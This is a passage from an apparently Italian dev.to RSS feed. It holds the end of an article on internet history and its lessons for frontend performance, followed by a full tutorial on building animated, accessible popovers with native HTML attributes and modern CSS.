&lt;li&gt;input touch, viewport variabili&lt;/li&gt;
&lt;li&gt;rete instabile ma costante&lt;/li&gt;
&lt;li&gt;notifiche e permessi&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Per il frontend significa progettare per:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;loading incrementale&lt;/strong&gt; (contenuto utile subito)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;responsive reale&lt;/strong&gt; (non solo CSS, anche peso e priorità delle risorse)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;accessibilità e ergonomia&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Oggi: pagine pesanti, interruzioni e contenuti “mediati”
&lt;/h2&gt;

&lt;p&gt;L’esperienza contemporanea spesso inizia con una sequenza di ostacoli: consenso cookie, pop-up, overlay, inviti a installare app. Nel frattempo la pagina scarica megabyte di JavaScript prima di diventare leggibile.&lt;/p&gt;

&lt;p&gt;Questo non è inevitabile: è l’effetto di incentivi (tracking, ads, funnel) e di un abuso di potenza lato client. Il frontend può fare da contrappeso con scelte concrete:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;ridurre JS iniziale e preferire &lt;strong&gt;HTML utile&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;usare &lt;strong&gt;lazy loading&lt;/strong&gt; e priorità corrette&lt;/li&gt;
&lt;li&gt;eliminare dipendenze third‑party non essenziali&lt;/li&gt;
&lt;li&gt;misurare (LCP, INP, CLS) e ottimizzare dove conta&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Sintesi: la “stranezza” di Internet è la sua forza
&lt;/h2&gt;

&lt;p&gt;Internet e Web non sono nati come prodotti rifiniti: sono nati come sistemi &lt;strong&gt;resilienti, modulari e interoperabili&lt;/strong&gt;. Packet switching, TCP/IP, DNS e HTTP sono soluzioni pragmatiche a problemi reali: guasti, indirizzamento, usabilità, collegabilità.&lt;/p&gt;

&lt;p&gt;Per chi costruisce interfacce oggi, la lezione è pratica: trattare la rete come imperfetta e il browser come una piattaforma universale porta a decisioni migliori—più progressive, più veloci, più robuste. E spesso, paradossalmente, più semplici.&lt;/p&gt;




&lt;p&gt;Articolo originale: &lt;a href="https://frontendfacile.it/blog/una-storia-strana-di-internet-perche-funziona-davvero-e-cosa-insegna-a-chi-fa-fr" rel="noopener noreferrer"&gt;https://frontendfacile.it/blog/una-storia-strana-di-internet-perche-funziona-davvero-e-cosa-insegna-a-chi-fa-fr&lt;/a&gt;&lt;/p&gt;

</description>
      <category>tcpip</category>
      <category>dns</category>
      <category>httphtml</category>
      <category>guerradeibrowser</category>
    </item>
    <item>
      <title>Smettila di sprecare tempo con JavaScript: i popover moderni si fanno (anche) in CSS</title>
      <dc:creator>frontendfacile.it</dc:creator>
      <pubDate>Thu, 02 Jul 2026 09:15:01 +0000</pubDate>
      <link>https://dev.to/frontendfacile/smettila-di-sprecare-tempo-con-javascript-i-popover-moderni-si-fanno-anche-in-css-4ne0</link>
      <guid>https://dev.to/frontendfacile/smettila-di-sprecare-tempo-con-javascript-i-popover-moderni-si-fanno-anche-in-css-4ne0</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;Con l’attributo &lt;code&gt;popover&lt;/code&gt;, &lt;code&gt;::backdrop&lt;/code&gt; implicito, transizioni discrete e un pizzico di anchoring, puoi ottenere apertura/chiusura accessibili con pochissimo codice.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Negli ultimi anni abbiamo accumulato un riflesso quasi automatico: “serve un popover? scrivo due righe di JavaScript”. Il problema non è il JS in sé, è che spesso lo usiamo per ricreare comportamenti che il browser può già gestire meglio (e con più attenzione all’accessibilità) in modo nativo.&lt;/p&gt;

&lt;p&gt;Oggi i &lt;strong&gt;popover&lt;/strong&gt; possono essere realizzati con HTML + CSS in modo estremamente compatto, ottenendo gratis:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Apertura/chiusura&lt;/strong&gt; senza handler&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Light dismiss&lt;/strong&gt; (clic fuori per chiudere)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tasto ESC&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Comportamenti di base più prevedibili e “browser-native”&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;E, soprattutto, puoi animarli con CSS in maniera pulita.&lt;/p&gt;




&lt;h2&gt;
  
  
  Il popover nativo: markup minimo
&lt;/h2&gt;

&lt;p&gt;L’idea è semplice:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Un elemento “contenitore” che dichiari &lt;code&gt;popover&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Un bottone che lo controlli con &lt;code&gt;popovertarget&lt;/code&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;button&lt;/span&gt; &lt;span class="na"&gt;popovertarget=&lt;/span&gt;&lt;span class="s"&gt;"my-popover"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Apri popover&lt;span class="nt"&gt;&amp;lt;/button&amp;gt;&lt;/span&gt;

&lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"my-popover"&lt;/span&gt; &lt;span class="na"&gt;popover&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  Contenuto del popover
&lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Con &lt;strong&gt;solo questo&lt;/strong&gt;, il bottone apre/chiude il popover. E sì: funziona anche con ESC e clic fuori, senza dover “reinventare” niente.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Nota: esistono varianti e attributi correlati (ad es. modalità diverse), ma questo è lo scheletro più immediato per partire.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Styling e animazione: lo stato &lt;code&gt;:popover-open&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;Quando il popover è visibile, puoi selezionarlo via pseudo-classe:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;:popover-open&lt;/code&gt; → popover attualmente aperto&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Partiamo con un semplice fade.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight css"&gt;&lt;code&gt;&lt;span class="nf"&gt;#my-popover&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;opacity&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;transition&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;opacity&lt;/span&gt; &lt;span class="m"&gt;300ms&lt;/span&gt; &lt;span class="n"&gt;ease&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nf"&gt;#my-popover&lt;/span&gt;&lt;span class="nd"&gt;:popover-open&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;opacity&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Fin qui sembra tutto normale… ma c’è un dettaglio importante.&lt;/p&gt;




&lt;h2&gt;
  
  
  Transizioni che funzionano davvero: &lt;code&gt;transition-behavior: allow-discrete&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;L’apertura/chiusura di un popover coinvolge anche cambiamenti “discreti” (non interpolabili) legati al rendering/visibilità. Risultato tipico: &lt;strong&gt;l’animazione entra&lt;/strong&gt;, ma in chiusura “sparisce di colpo”.&lt;/p&gt;

&lt;p&gt;Per consentire transizioni più sensate anche in questi casi, puoi aggiungere:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight css"&gt;&lt;code&gt;&lt;span class="nf"&gt;#my-popover&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="py"&gt;transition-behavior&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;allow-discrete&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In pratica stai dicendo al browser: “consenti la transizione anche quando ci sono step discreti nel mezzo”.&lt;/p&gt;




&lt;h2&gt;
  
  
  Animare anche la posizione: slide + fade con &lt;code&gt;translate&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;Una combinazione molto naturale è &lt;strong&gt;fade + slide&lt;/strong&gt;. Ad esempio: entra dal basso e esce verso l’alto (o viceversa).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight css"&gt;&lt;code&gt;&lt;span class="nf"&gt;#my-popover&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;opacity&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="py"&gt;translate&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="m"&gt;50px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="nl"&gt;transition&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;opacity&lt;/span&gt; &lt;span class="m"&gt;300ms&lt;/span&gt; &lt;span class="n"&gt;ease&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;translate&lt;/span&gt; &lt;span class="m"&gt;300ms&lt;/span&gt; &lt;span class="n"&gt;ease&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="py"&gt;transition-behavior&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;allow-discrete&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nf"&gt;#my-popover&lt;/span&gt;&lt;span class="nd"&gt;:popover-open&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;opacity&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="py"&gt;translate&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;@starting-style&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nf"&gt;#my-popover&lt;/span&gt;&lt;span class="nd"&gt;:popover-open&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nl"&gt;opacity&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="py"&gt;translate&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="m"&gt;-50px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Cosa succede qui:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Stato chiuso: &lt;code&gt;opacity: 0&lt;/code&gt; e &lt;code&gt;translate: 0 50px&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Stato aperto: &lt;code&gt;opacity: 1&lt;/code&gt; e &lt;code&gt;translate: 0 0&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Con &lt;code&gt;@starting-style&lt;/code&gt; puoi definire lo &lt;strong&gt;stato iniziale&lt;/strong&gt; al momento dell’apertura, rendendo l’entrata più controllata&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;È un pattern molto utile quando vuoi evitare “salti” tra calcolo layout e primo frame dell’animazione.&lt;/p&gt;




&lt;h2&gt;
  
  
  Posizionarlo vicino al trigger: cenni di anchoring
&lt;/h2&gt;

&lt;p&gt;Un popover spesso ha senso &lt;strong&gt;in relazione al bottone&lt;/strong&gt; che lo apre. Il CSS moderno offre strumenti per agganciare un elemento a un altro (anchoring), riducendo la necessità di calcoli JS per “metterlo sotto al bottone”.&lt;/p&gt;

&lt;p&gt;A livello concettuale:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;definisci un’ancora (il trigger)&lt;/li&gt;
&lt;li&gt;posizioni il popover rispetto a quell’ancora (ad es. “sotto”)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;La sintassi e il supporto possono variare, ma il punto pratico è questo: &lt;strong&gt;se il tuo popover è un componente ricorrente, l’anchoring ti evita coordinate hard-coded o &lt;code&gt;getBoundingClientRect()&lt;/code&gt;&lt;/strong&gt; per casi semplici.&lt;/p&gt;




&lt;h2&gt;
  
  
  Implicazione pratica: JS dove serve, non per abitudine
&lt;/h2&gt;

&lt;p&gt;Non è una crociata contro JavaScript. È una questione di &lt;strong&gt;allocare complessità&lt;/strong&gt; nel posto giusto:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Se ti serve un popover standard (apri/chiudi, ESC, clic fuori, animazione), l’HTML/CSS nativi oggi coprono già gran parte del lavoro.&lt;/li&gt;
&lt;li&gt;Riservare JS ai casi “veramente applicativi” (stato, dati, orchestrazione) riduce bug, codice boilerplate e regressioni sull’accessibilità.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Sintesi
&lt;/h3&gt;

&lt;p&gt;Un popover moderno può essere:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;dichiarato in HTML con &lt;code&gt;popover&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;controllato con &lt;code&gt;popovertarget&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;animato con &lt;code&gt;:popover-open&lt;/code&gt;, &lt;code&gt;@starting-style&lt;/code&gt; e &lt;code&gt;transition-behavior: allow-discrete&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;posizionato vicino al trigger con anchoring (quando disponibile)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Se stai ancora scrivendo handler e listener solo per aprire/chiudere un pannellino, probabilmente stai spendendo tempo dove il browser è già pronto a fare il lavoro per te.&lt;/p&gt;




&lt;p&gt;Articolo originale: &lt;a href="https://frontendfacile.it/blog/smettila-di-sprecare-tempo-con-javascript-i-popover-moderni-si-fanno-anche-in-cs" rel="noopener noreferrer"&gt;https://frontendfacile.it/blog/smettila-di-sprecare-tempo-con-javascript-i-popover-moderni-si-fanno-anche-in-cs&lt;/a&gt;&lt;/p&gt;

</description>
      <category>csspopover</category>
      <category>accessibilitaui</category>
      <category>transitionbehavior</category>
      <category>ancoraggiocss</category>
    </item>
  </channel>
</rss>
